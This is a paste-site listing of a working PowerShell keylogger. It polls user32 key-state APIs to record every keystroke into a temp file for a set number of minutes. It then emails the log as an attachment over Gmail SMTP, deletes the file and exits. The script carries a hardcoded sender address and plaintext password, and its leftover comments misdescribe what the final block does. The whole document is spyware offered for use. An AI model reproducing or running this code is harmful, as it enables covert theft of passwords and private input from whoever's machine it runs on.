· 6 years ago · Oct 08, 2019, 10:50 PM
1$TimeToRun = 2
2$From = "jgatzul@gmail.com"
3$Pass = "Jary39--1a"
4$To = ""
5$Subject = "Keylogger Results"
6$body = "Keylogger Results"
7$SMTPServer = "smtp.gmail.com"
8$SMTPPort = "587"
9$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
10
11
12$TimeStart = Get-Date
13$TimeEnd = $timeStart.addminutes($TimeToRun)
14
15#requires -Version 2
16function Start-KeyLogger($Path="$env:temp\keylogger.txt")
17{
18 # Signatures for API Calls
19 $signatures = @'
20[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
21public static extern short GetAsyncKeyState(int virtualKeyCode);
22[DllImport("user32.dll", CharSet=CharSet.Auto)]
23public static extern int GetKeyboardState(byte[] keystate);
24[DllImport("user32.dll", CharSet=CharSet.Auto)]
25public static extern int MapVirtualKey(uint uCode, int uMapType);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
28'@
29
30 # load signatures and make members available
31 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
32
33 # create output file
34 $null = New-Item -Path $Path -ItemType File -Force
35
36 try
37 {
38
39 # create endless loop. When user presses CTRL+C, finally-block
40 # executes and shows the collected key presses
41 while ($TimeEnd -ge $TimeNow) {
42 Start-Sleep -Milliseconds 40
43
44 # scan all ASCII codes above 8
45 for ($ascii = 9; $ascii -le 254; $ascii++) {
46 # get current key state
47 $state = $API::GetAsyncKeyState($ascii)
48
49 # is key pressed?
50 if ($state -eq -32767) {
51 $null = [console]::CapsLock
52
53 # translate scan code to real code
54 $virtualKey = $API::MapVirtualKey($ascii, 3)
55
56 # get keyboard state for virtual keys
57 $kbstate = New-Object Byte[] 256
58 $checkkbstate = $API::GetKeyboardState($kbstate)
59
60 # prepare a StringBuilder to receive input key
61 $mychar = New-Object -TypeName System.Text.StringBuilder
62
63 # translate virtual key
64 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
65
66 if ($success)
67 {
68 # add key to logger file
69 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
70 }
71 }
72 }
73 $TimeNow = Get-Date
74 }
75 }
76 finally
77 {
78 # open logger file in Notepad
79 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
80 Remove-Item -Path $Path -force
81 exit 1
82 }
83}
84
85# records all key presses until script is aborted by pressing CTRL+C
86# will then open the file with collected key codes
87Start-KeyLogger